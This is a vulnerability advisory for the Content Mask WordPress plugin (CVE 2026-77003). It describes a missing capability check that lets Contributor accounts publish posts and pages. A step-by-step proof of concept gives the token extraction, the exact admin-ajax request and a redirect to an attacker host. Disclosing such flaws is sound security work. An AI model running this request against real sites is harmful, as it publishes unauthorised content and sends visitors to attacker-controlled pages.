Content Mask 1.8.0 – 1.8.5.4 – Contributor Publish Capability Bypass via create_new_content_mask | CVE 2026-77003

Description

The plugin does not check the capability required to publish the post type being created, allowing users with a role as low as Contributor to publish posts and pages on the site without holding the publish capability.

Proof of Concept

Prerequisites: Content Mask active, and an account with the Contributor role.

1. Log in as the Contributor and open the plugin's admin page:

   GET https://victim.example/wp-admin/admin.php?page=content-mask

   The page renders for this role. Read two values from it:
   - the CSRF token from <meta name="content_mask_csrf_token" content="..." />
   - the action nonce from the localised ajax_object data: "create_new_content_mask":"..."

2. Send the creation request with those two real tokens:

   POST https://victim.example/wp-admin/admin-ajax.php
   Cookie: <the Contributor's session cookies>
   X-CSRF-TOKEN: <content_mask_csrf_token from step 1>
   Content-Type: application/x-www-form-urlencoded

   action=create_new_content_mask&nonce=<create_new_content_mask nonce from step 1>&mask_url=https://attacker.example/pwned&mask_name=contributor-published-mask&mask_method=redirect&mask_post_type=post

   Response:
   {"status":200,"message":"Content Mask for <strong>contributor-published-mask</strong> has been <strong>Created!</strong>"}

   The post is created with post_status = publish and the Contributor as author, even though the Contributor does not hold publish_posts.

3. Visit the new post's permalink as an anonymous visitor:

   GET https://victim.example/<permalink of contributor-published-mask>

   HTTP/1.1 301 Moved Permanently
   Location: https://attacker.example/pwned

Replacing mask_post_type=post with mask_post_type=page publishes a Page the same way, and mask_method=iframe renders the attacker's page inside the victim's own URL instead of redirecting.